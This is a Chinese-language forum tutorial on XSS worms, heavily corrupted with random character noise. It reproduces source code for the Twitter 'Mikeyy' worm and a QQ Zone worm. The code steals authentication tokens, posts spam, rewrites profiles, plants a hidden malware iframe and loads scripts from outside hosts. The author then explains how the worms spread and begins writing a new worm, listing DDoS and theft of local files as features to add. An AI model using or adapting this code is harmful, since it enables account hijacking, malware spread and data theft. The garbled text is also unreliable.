第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; + \ ?4 i% }& g
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2. 8 ^# Y) x- e1 J3 o6 A1 d$ y6 O
" |. ^1 d6 T: b C# }+ a8 C6 H 3. function XHConn(){
7 x# u+ i$ k4 W3 d d
% F( f# f5 K0 }' E7 } 4. var _0x6687x2,_0x6687x3=false;
5 U) m$ `9 P, V0 R3 D4 c& u# G
; }2 S% K+ f9 K+ s) P. ] 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
# i' u2 T% H) I
+ |# z" @ c, b 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
) b7 d) n) @7 c; ^5 y& `# }! y# e0 A, Z6 j3 {* U
8. catch(e) { _0x6687x2=false; }; }; };
; ? j0 H6 Z( D& ^) G8 E% }复制代码第六版: 1. function wait() { ' K; x; C) o, v+ R: k7 K6 m! P2 l
. E' a, h: i7 Z w6 S P. D* L
2. var content = document.documentElement.innerHTML; / Y! G9 f$ f9 i
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3. var tmp_cookie=document.cookie;
8 O& a! U- d+ H4 L W
$ Y9 ]/ _3 `) S9 Q! G 4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); ! P3 g% z" K$ F: f
# s. C$ ~& o3 q' x4 }- o! ] 6. var authtoken=authreg.exec(content);
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7. var authtoken=authtoken[1];
6 A2 F0 Z2 r: u, M9 s
3 R+ ~$ m! p ^- R 8. var randomUpdate= new Array(); 2 D- b# O& N8 R5 W. h/ ]3 z( s3 q
% V5 m0 j' P& r' `0 N& B" s* H
9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; $ T5 D! O' q" A; I h
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; ! {$ T$ `, h3 |1 [; v d* h/ H, i/ s
! h3 g. U) l# {, ~. L7 ^" t* ] 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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N2 C5 v8 K: F; k6 C* H$ D 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
% B8 e, E" B( m4 Z, ^% W; Q6 [( g% s, r u) A! h* a. _, E/ K; F
13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; 9 F, ^$ G5 y) z4 c+ K* D: j
8 R3 U. r7 E' v* p, J' i N7 R 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
# n( W9 b) A; ?
- y+ F4 o) Z% P# }; F f6 h 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; ' S- D7 ], T6 Q" G3 b0 N
. h+ h6 j: \* h& O8 ?6 R 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 9 N7 e4 q- q3 D, S
1 M) G3 T7 ~3 l7 ^$ T6 I 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; " ^( Q' y* a' |/ r8 R! u, S+ A* H' S( |! {
/ |6 p& w* R- d# V
18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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: n' c' U; {; a ] 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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( p, c) B7 z+ |. |% [; l/ g 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; ; ]$ x9 T2 k) n9 J5 v* e# t
' g1 @( y/ W# }$ g 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
2 d, \3 T9 {! O
- q3 M1 T# _& g% ~) a" j 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; 5 j5 e) F( C% t- J% U
- E0 R3 Z( E8 p9 m V$ n/ _
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; 7 |* d" ^& s! S3 ]
6 d: {% w$ w; R& g! w# N 24.
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3 j( R+ V& \; J1 K0 D* a, y 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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% N8 |: m# @7 D$ t 26. var updateEncode=urlencode(randomUpdate[genRand]); $ r8 y1 b6 T/ _4 c
( @' W+ |( }0 o
27. . ?% m [2 E: J' b k
% p! t5 K5 u- N$ `: Q( C* d I& W 28. var ajaxConn= new XHConn(); 7 `( x0 J$ `. Z* \$ O
8 M; L5 `. a, Q
29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
/ f+ ?: S% }- y* b2 K ^ ~
1 O2 z! G5 p/ L3 l1 c4 @/ V 30. var _0xf81bx1c="Mikeyy"; + p0 u) R; w$ k, G
P8 c! K+ ~, K6 t
31. var updateEncode=urlencode(_0xf81bx1c); , [$ s$ m* ~/ p L$ `
7 X' I" L- H7 \+ F 32. var ajaxConn1= new XHConn(); : B3 H* o w1 j4 D) d' g5 E1 y! J
z: ?; b4 ]+ t% T0 B& Z
33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); : _0 A4 T9 A6 j" d/ F
4 U1 p0 i) q# D3 b7 A 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
" K' X, B( A0 X4 g" P6 S) p( t
& _- D# Q# h7 k6 j+ q/ Y- }! Y" ` 35. var XSS=urlencode(genXSS); " D0 }! T/ Y5 ?6 n0 Z3 w9 F
b! |0 s; u4 ]) o, |! b 36. var ajaxConn2= new XHConn();
+ \9 X5 [) z" q' w0 @* C# K" |$ b$ P6 \* Y- q2 s& `- O. y% ?; [
37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); + f- ~# |$ k7 b/ b( J) m
: W5 e$ L1 d; ]- O1 x 38.
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39. } ; . R9 h! l/ U: a# e1 Y) L. H
$ v7 u6 _: Y O1 {- x% Z o: j
40. setTimeout(wait(),5250);
* \1 R3 m+ w- K! a复制代码QQ空间XSSfunction killErrors() {return true;}7 ^2 S' i* S$ i$ {* {
0 {6 D" E; @ g' Gwindow.onerror=killErrors;
: t9 r* {8 k. C2 N% r: h8 _3 G
+ l( r$ i& k# L8 l
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var shendu;shendu=4;
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C: V3 u I% M8 c ~1 F6 e& I! ?1 J//---------------global---v------------------------------------------# C5 Z( k4 B4 N) H2 C0 M# C
$ Q2 I4 p# J. \& A. W//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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# Z5 n. i$ b" ` a! H4 E8 yvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";, D/ @$ ~8 J$ u9 F6 ~9 V
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var myblogurl=new Array();var myblogid=new Array();2 [" c( N: t \9 L, a
, p& ~7 r3 E$ @) z var gurl=document.location.href;
+ _4 K, l, m1 g y1 i( T) {+ e1 x/ t2 ^6 `
var gurle=gurl.indexOf("com/");
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2 }9 _# W" H3 z: _1 A6 |6 u gurl=gurl.substring(0,gurle+3); - R$ ]* n, E8 `! r* ]5 A# T# [
% A) s! R: {- [5 `+ l
var visitorID=top.document.documentElement.outerHTML; `6 r! p8 n- [9 B: }& a7 Q
6 F, Y# E+ X( _6 F9 t, @5 L" B: _
var cookieS=visitorID.indexOf("g_iLoginUin = ");
+ c! a3 ~$ r8 s; d# S
0 j h% Y, U" H visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");
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: M( U( T% n+ u' p4 ]! n9 J$ U visitorID=visitorID.substring(0,cookieS);
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7 s) g( H2 S1 o4 |5 c L; ^0 |" } get_my_blog(visitorID);
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DOshuamy();
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4 b" s% X0 g+ d0 A+ c3 |9 ]1 j, o* E4 x% @/ c. {7 }& B4 @% k
& v& H8 a/ e* v4 a8 }9 n
//挂马
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3 O# F; V$ G! x* E! X1 Ufunction DOshuamy(){0 u' D2 B' j. r7 @5 [9 c
# N% L# i& ]+ ~. H1 `% g- K# u
var ssr=document.getElementById("veryTitle");; q7 G! x6 y! m6 i
: J, V! `4 E1 _. w( |ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");; e$ e* H. E0 F ?/ ^
3 D. H( f8 r2 E9 Z2 M5 X}: {% Z' h0 |# P' N4 l b9 `
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/ Z9 X1 g* v" Z8 s% j0 b' x$ W% [% Q' @5 a) t1 a- `% ^/ @+ j2 y2 F
//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
7 S6 W2 Y/ k) ~+ t: \4 C5 m+ p
) Z2 n' K8 v- H1 Cfunction get_my_blog(visitorID){
% t1 ^5 F# m1 K" i& _; L" ?, i
7 {2 F4 F, J3 ]" d+ W; Z userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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! {$ z7 {. c \% r xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象7 u; K7 k9 y. E- C3 v! D
# W- A8 Q7 b3 x' H5 c
if(xhr){ //成功就执行下面的, q/ {$ i: l6 d1 a
& @; }' [8 }' c0 g xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;% I7 m1 a( E, T
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get_my_blogurl(guest); //执行这个函数6 n; |, a9 O9 F* [ W9 e( D2 ?
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}
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; a6 T! Q$ k0 J" M% r}
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" T2 ~ v+ x0 O* C, L0 c//这里似乎是判断没有登录的% O# c8 q9 ]3 l) M p! J
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function get_my_blogurl(guest){
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var mybloglist=guest;5 [3 |5 t7 X Z
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var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){2 D6 c6 k9 a+ y2 o) ?! R& J
) U4 k& c( V/ C# u0 } myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了+ y& R0 N5 C9 W
4 j u& ]) W1 K4 {
if(myurls!=-1){ //找到了就执行下面的: X2 q0 A0 ?+ j& W5 @
$ ?3 j& z# Q( B! {9 c; O# r mybloglist=mybloglist.substring(myurls+11);) ?: H3 [6 n& a9 N" J( Z$ f
) r$ C. U0 b+ G myurls=mybloglist.indexOf(')');- r' ?% R, H9 ]0 n0 R8 c
1 B3 L; p A0 M/ A" a: K myblogid=mybloglist.substring(0,myurls);3 |; \) K `) Z) q# a8 H
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}else{break;}
9 j8 {/ J3 z1 g9 }' d0 p
" k3 ?2 K; K# c}. x: {( X8 B0 s- P+ p
1 D9 Q4 y4 k* t3 Rget_my_testself(); //执行这个函数; j, x8 ^5 D. |( V6 N
1 @0 h4 P6 l" J! E
}
! u4 u' X, K& f" e* _8 _4 Z) A
- H% M( _- i0 @- \( ^4 n* l# L( ~' ` A/ ?4 n
//这里往哪跳就不知道了) g5 c4 l$ _% [/ {
2 n& m4 q1 M# p, e, `# E7 u( O5 S
function get_my_testself(){; y# I7 `( o! x# A5 L
! Z) A5 ~1 [& { R& A for(i=0;i<myblogid.length;i++){ //获得blogid的值9 l9 Q; |& |0 b* Q5 x' h4 G
+ W7 G1 s% Y" {" Y, x
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
2 Y5 M: n2 `3 Z0 r$ O& V0 Y) i/ k
# z# p, M( m0 \: |; @ var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象0 b- `; _- `9 I4 a, |% O/ k# z
' x2 I4 e7 r7 m9 ]
if(xhr2){ //如果成功
7 [6 U. |! h! G* z3 O
' t* m; v M$ T- r/ H( L* x6 J xhr2.open("GET",url,false); //打开上面的那个url
- E9 P1 {" l2 I7 j# K* \8 C& n! K! d! H& k* M2 }9 B2 L' f
xhr2.send();/ ^0 W& G1 {' @: @, X" g
1 E. O5 F% C# t6 n! [9 V guest2=xhr2.responseText;2 X/ S2 U9 [# B n& l
$ I( k8 z u- t8 t var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?* h; m- M" k8 `- R
$ f$ R$ F( h# W4 K3 H( N
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串1 h0 J( a' a' l! h6 O5 t. }
: N0 L: R. q/ `, n if(mycheckmydoit!="-1"){ //返回-1则代表没找到
. t# {3 E g4 O, Q# Y1 b
2 @. x) l2 i$ U0 k targetblogurlid=myblogid;
! s& z! u+ ^- P" k6 s
: _, s1 V$ M8 r8 u5 @% U add_jsdel(visitorID,targetblogurlid,gurl); //执行它
3 a7 ~3 h# t, Q, z" |% @
) a' ^# I9 f, `6 |! ~* p break;1 _4 F, J$ n" R: X. j5 \ A! R. f
; e, N3 j- K9 c% ~ }, i( l% l) [0 X
( f9 Z. \3 A2 o1 T
if(mycheckit=="-1"){9 E' q. V+ \$ C& @5 s/ @* C
1 T% G! p; Y) r/ w9 E- K
targetblogurlid=myblogid;% U) w. \: `, L0 k$ i
# w) |$ e: m+ m& e
add_js(visitorID,targetblogurlid,gurl); //执行它
$ v a. @% \4 n$ S& k# ?4 W6 V( P" X; B
3 E0 M6 E( L& h4 p break;
2 o8 ?+ `# O4 {) H% Y- n3 K/ E2 ^4 l8 J; E7 B5 U* `1 X7 p
}$ I6 _1 C, h! f, Y( Y
3 W G+ ]2 G" z. ~' g4 \3 T+ G
} ; ^* j% j4 f* u0 C/ ~/ R" q7 o
) r; z, ~) X5 f R, X, W
}) F; U; V; j6 j
% s n5 P$ b2 b: [# w
}
+ V6 T4 M9 E) I/ z( w( j6 J2 a9 @# L
+ Q- r$ Y6 k7 W7 i7 G' F# k
4 I" P& P2 Z; \# ?* U9 p- u2 q0 n( H* N" e
//-------------------------------------- 8 b8 b J# S! f- \6 n
' L' }; s; V1 F5 s9 L ~//根据浏览器创建一个XMLHttpRequest对象/ q# l6 |: o, y0 z5 ~, l$ X
# D0 O+ |/ V3 Ifunction createXMLHttpRequest(){# y1 f4 }2 c' Q1 D/ G* h
/ p+ `) h5 G+ e% ?0 Y
var XMLhttpObject=null;
3 w8 x' x% i; B4 U
: D8 `0 _* w, J4 x6 N/ P: K$ y+ w if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} 9 I% a2 g! E; C0 b
7 U( k/ Q" x3 z( U! b5 ?
else
" K: ?& i3 g U
9 \8 O; _ ~) r$ P { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
# q% N% Z3 C1 j% J& E* O( N5 F9 M2 E' s/ s( O3 `4 a& s$ [1 f
for(var i=0;i<MSXML.length;i++)
' I: U: d+ |3 L* z. k- {7 G# _) F" Q
{
# y! M4 i: T" F) x- d3 C$ _1 z& a% s; F( z* z9 A9 {
try
$ O7 B3 O" A/ P! z/ o. z9 s- }& c3 f! h
{
2 ~! a- V, G& k3 s
0 P. o& @2 H( t; p4 T XMLhttpObject=new ActiveXObject(MSXML);
Q' @7 s7 \* W- Q- i9 S+ Z2 _7 t* e
6 W* E8 ]3 j* p: o; a break;
" U/ A- ^+ f* R1 X. z" f5 b7 g! [8 O8 O h9 N+ d
}
; t; n0 Z. h" ~* ~ E" x# ]7 V' Z9 q% I+ q) t' v
catch (ex) {
6 {: i) l- I; z6 C) C9 T2 ]0 K" X) |! Z; S4 l9 G. s6 d
}
b* N0 b' t Q4 B. J
2 P, }# W1 x0 I4 k+ h# n }
@. W4 n6 |/ i/ |" h2 d/ S* b& _9 s6 A6 D7 U( M. ^
}. O6 U2 K1 C# ]# G6 Z
8 T m* Q: |, W
return XMLhttpObject;4 j* I* n8 q$ ~% f' F. x
: J/ r; I$ a# v3 s3 Z# g5 v e; n
} 7 f- A1 F5 M, M3 ~# D# t* p V
& _" B& ^% L- W% F; k( p6 y" }3 u- z3 P* S' l8 t5 T
5 R$ Y+ n% I; s2 @* X% i" {
//这里就是感染部分了; G* P. N. x# b$ ?% x
3 C: X# l; L# }1 vfunction add_js(visitorID,targetblogurlid,gurl){, O6 }+ e7 d+ H8 z
" A3 S A( e0 u2 O& L7 F! ~var s2=document.createElement('script');$ ]6 @& y: \ Q. K$ i8 @ z
1 }% G1 P: S" ~& T
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
4 s* r; g9 k/ @; b8 _0 h& k+ s
, k3 w1 s7 i ^. f2 b' h2 w% h+ Ps2.type='text/javascript';. b4 b, j, ^0 ^% n9 V! K; j" ~# `
9 a9 \& o- c1 V7 c
document.getElementsByTagName('head').item(0).appendChild(s2);* i8 P1 \6 z: Z$ c* _0 C
3 i+ O1 Y7 ?( t8 y1 C
}' W7 D5 U+ u! c/ s6 S
7 u h) s& G9 X% E7 Z8 B/ y7 O. j0 x8 b) v
9 L" b A @) l, z; [, {
function add_jsdel(visitorID,targetblogurlid,gurl){
. E% W9 A0 ^! i2 c1 X
" @3 Q7 q" O$ X+ gvar s2=document.createElement('script');- [3 V: D* \5 G1 F& [
0 y3 s/ g% s8 z
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();) U4 L! f( p* o, i0 q$ Z' w g
* x J7 H+ K% ~$ Es2.type='text/javascript';* y" u3 E4 _5 S
& u' o6 {: f- K$ T- @7 A1 T8 Mdocument.getElementsByTagName('head').item(0).appendChild(s2);1 |# e- i2 B3 V
* q h2 I8 F+ ?+ R/ b4 b}
/ k3 k( g- R8 z8 J) T1 U* ?复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
, [. `, J$ f3 h1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
) {& H! U4 a$ C4 S/ W: {
1 C2 |- }$ ]0 a- G2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
$ t3 @0 ?2 x5 v, w
% s7 {/ ^" ~' {" T% f" m# ?0 n, i综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~! h/ Y1 n* l) N4 @) W- x
+ i$ ?1 Q9 b/ F1 J
+ k9 z& J5 }" D$ k% Y9 k7 h+ D8 i
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.( X+ w! g% h9 y$ y
8 r; e6 ?) \ N3 m$ h7 I3 G首先,自然是判断不同浏览器,创建不同的对象var request = false;
$ U0 B0 }" x- N/ Z1 X. U" t" }# `$ {9 `& X) c
if(window.XMLHttpRequest) {6 d. |' ]" ]+ a/ g
9 @7 k$ G1 E9 E; z. _" v- Y. K0 H
request = new XMLHttpRequest();' O! S$ C/ s, J K; D3 t" L
8 [2 o9 Z6 ?3 j/ d w- X H$ Fif(request.overrideMimeType) {
! [6 k! F: m$ d: F& l* |& x% d: `/ H& `# p. ?' }
request.overrideMimeType('text/xml');
* r4 _$ {7 l% p6 i' \! p8 m6 k6 A; ^, ?7 U3 [. w2 n
}( T" K7 Y7 W* ~
7 i( `7 I( F. o
} else if(window.ActiveXObject) {+ }0 X3 W% d- e$ _* |
9 _5 l% `( C' R, t
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];% J _/ `( @6 B
; K* z; H! ]& X3 y/ z: ?' Mfor(var i=0; i<versions.length; i++) {8 W$ i9 W$ `9 M5 p
7 }" F+ J. m' I" |& s
try {; u% ?6 _' f$ Q1 t
: w0 q: `$ T( L2 I i, j. U( Z
request = new ActiveXObject(versions);
* n6 A, J% n% m- e; A* W; ]3 ?5 V+ C) b: @# L
} catch(e) {}' {9 G$ N8 E. g& w$ \. M3 S
! e# i' O9 X- ^) X: c}) f0 h3 ]$ N v }, G& [! d! r
5 y6 S+ E! v! t}
7 q) V- U$ y0 q" |) Q: g; {2 r y" G, \5 E& z! ^& |
xmlHttpReq=request;
/ M, g2 R# u+ U复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
6 N/ N/ X8 ~+ a$ n; ^* g2 Z& Q
9 ?+ s5 Z" A: J/ M1 b* B9 P+ K var Browser_Name=navigator.appName;
2 s! x) V/ |" `2 L8 ]
7 u3 W1 W. N& M0 b+ I/ i1 M5 s var Browser_Version=parseFloat(navigator.appVersion);5 D9 u: r$ Y+ z/ E6 q- x. F) t
4 X# U) ?2 N$ C; z) W' J( X
var Browser_Agent=navigator.userAgent;
3 v( \% p5 I$ I- F+ |: _, m
! r+ B' w2 U# r; F/ f
9 j z7 ?8 T# O* H8 F, s3 f+ J6 `5 S) W- J% l; @. o
var Actual_Version,Actual_Name;$ G5 m2 O# j2 o; {0 h
, [3 M: Q9 A4 n5 f# c: Q 6 q& L. O7 F- _* v$ e( z; r
. ], S* m( v% N# s; B# V var is_IE=(Browser_Name=="Microsoft Internet Explorer");
) b+ o1 [ Y+ s, m# ^+ R. k0 k2 a3 P# t b, {0 [
var is_NN=(Browser_Name=="Netscape");+ }) d8 K5 M6 o6 ?# I8 s! l. k
7 k+ p: Y. p0 h! p" H, l7 o' b( k var is_Ch=(Browser_Name=="Chrome");6 }) }/ F4 }2 Y/ U- g. H
$ t3 }6 K) l; R0 z) H; S
8 s6 ]( M! L$ T/ |. j- r/ e E7 y9 d3 V# k5 D
if(is_NN){
0 P* ^- k/ Q0 a% b; T: k
) r- r( U2 @% G% k. ~7 S if(Browser_Version>=5.0){' A2 {- ?# d3 L
& e0 h1 |0 v. j6 u
var Split_Sign=Browser_Agent.lastIndexOf("/");# t. z/ m) f: A( O0 P
6 N3 P1 j" S' f! U) G var Version=Browser_Agent.indexOf(" ",Split_Sign);5 X! P% [: K3 }9 s
! T8 {& x( J$ j$ B" J var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);1 {; R: V# s# L" b9 }) V5 A
# Z* W! V* m1 s* Z( P8 v7 Q
& s! |; K4 g5 L+ m# b% d! q; T; i4 p1 ^$ Z
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);% A6 F4 B, Q+ {' q" s; Z* |- e" f& I
( a6 A3 X; P( c: L- V! Z
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);/ j- l* p, X0 i: K& K1 K( z$ C
0 g: F& Y" K* v5 v% E2 ] }/ ]; T9 z: c& P! V* m& y
I% l! E6 b3 H else{, g- B" W5 g7 h* z1 z
' o& i z N4 K7 @0 p* y Actual_Version=Browser_Version;
6 P1 X5 d" k4 Y0 S7 d2 `) S) h! s g, s1 `6 A$ K; l
Actual_Name=Browser_Name;" V7 X4 }5 Q% `
: Q( ]; i4 o3 Y5 y2 p& b- Y }
1 i; n: `$ |2 o" D1 b, D4 m2 e) H/ H: _1 @
}
h L0 _& C1 C2 n L4 Z( z0 Z1 c0 Y8 E" m" j: h
else if(is_IE){! R# P1 L. i) Y6 [6 E
6 h* R; u/ o& Q- f* U5 G8 V
var Version_Start=Browser_Agent.indexOf("MSIE");
' a r4 }0 }/ \) z" g; z" y- d! R3 Y3 J$ `" ~0 e
var Version_End=Browser_Agent.indexOf(";",Version_Start);9 Q" ?7 x4 k8 I& b$ e' W
5 K6 b) |' J. O
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
1 {$ v8 {6 {$ c- D
# c3 ?" i# L4 d- @1 B* {( }) G- l y* Q Actual_Name=Browser_Name;8 X! A; }0 f" H
) ^* n( B H* i% C4 n7 d4 R9 X
" j; m1 z% q& q. N9 `
5 [( `9 Q5 b7 x1 R if(Browser_Agent.indexOf("Maxthon")!=-1){5 `- R; f3 L: m% m4 U+ a: j
) T# ^* P4 I4 M @& H Actual_Name+="(Maxthon)";) `3 h* O' c8 J9 d; r
' s" v7 Y) }- y% F, t; `
}
3 ]% r( ~( H% Z+ M- c" D0 L/ n6 g- i# m0 m5 O' L( Q4 e: U
else if(Browser_Agent.indexOf("Opera")!=-1){
* X2 K: b- P5 F7 }: P* \/ {/ a2 {# f" H
Actual_Name="Opera";
1 J4 Y3 \6 g7 d& f9 Y( o$ K/ s; ?+ A9 p" `% R# n$ P
var tempstart=Browser_Agent.indexOf("Opera");
) a4 |2 \# a# b. H$ T, Z3 T6 n* `* k; y. Q9 r3 ]3 k
var tempend=Browser_Agent.length;
^! G' O1 P& L% l8 w; }! e9 U( N
* B8 d/ ~9 x4 J* ^+ W* ~ Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
* ~9 p/ c8 E- S- \8 u$ V6 O/ [- T* A
}, {6 @7 A: R) O9 V+ I
& }+ G: \2 L* p0 E! P
}# y+ O/ w$ v6 Q( N
) d) I6 A. {; g& K8 s. ` else if(is_Ch){$ R7 s7 J; D5 r8 ?# g3 C
* \/ q. `/ L2 I5 X# D1 t( f2 `
var Version_Start=Browser_Agent.indexOf("Chrome");( \ c1 I' ?3 ?, j
& J2 ?; H, j( a& r6 h9 |+ V var Version_End=Browser_Agent.indexOf(";",Version_Start);& _5 V) v# d" v m) f) V' Z& Y! ~& o
6 ^' w. |- v( s0 |! M Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
6 q; @0 Y( f- U* h' M; Y) L$ | }6 ~: W+ T
Actual_Name=Browser_Name;
+ U8 a# `4 Z s6 M2 w
: [ y6 l6 C; w0 @3 b + ?2 }7 f1 { B- b$ I
) q4 Z! M& N# h9 | if(Browser_Agent.indexOf("Maxthon")!=-1){
# e( ^, L) Y3 T) q3 x3 x9 n- k
; C8 ?3 l0 N% _ b( m" R* n3 ^5 Q Actual_Name+="(Maxthon)";
9 z \+ i, T# m7 e
. X9 \# O' j! \8 C1 x }% ?: F1 Q [! W6 {' P: ]
$ C" Q9 D. J% r7 n% n else if(Browser_Agent.indexOf("Opera")!=-1){
l6 m& j" H @& A( w$ A/ Z" L3 x- h. t
Actual_Name="Opera";+ t2 D. e; c) I, ], `
* g! B1 m- Z# N# o' v- o- b* D! |
var tempstart=Browser_Agent.indexOf("Opera");
7 H7 Z" M* k2 F% {! d( Q7 W5 o
var tempend=Browser_Agent.length;
8 F% v- b1 S: U) u6 A1 T
5 v, G/ T7 V/ ]% M Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
! j# X% ^$ z4 h% e' o! z7 m0 n4 i! x, c$ G% k8 r5 d
}
5 V" T2 l8 F- w+ l
/ k7 i) i1 ^7 B, p& v5 `$ w$ ^ }
% b8 B' l, W& K& b& F
0 b7 _7 I5 Q! }0 ^# g; h6 \ else{
8 e2 N0 {, A# @& |5 {+ h. h, _: h5 d o& |- h! {7 ^$ h! N0 q) p
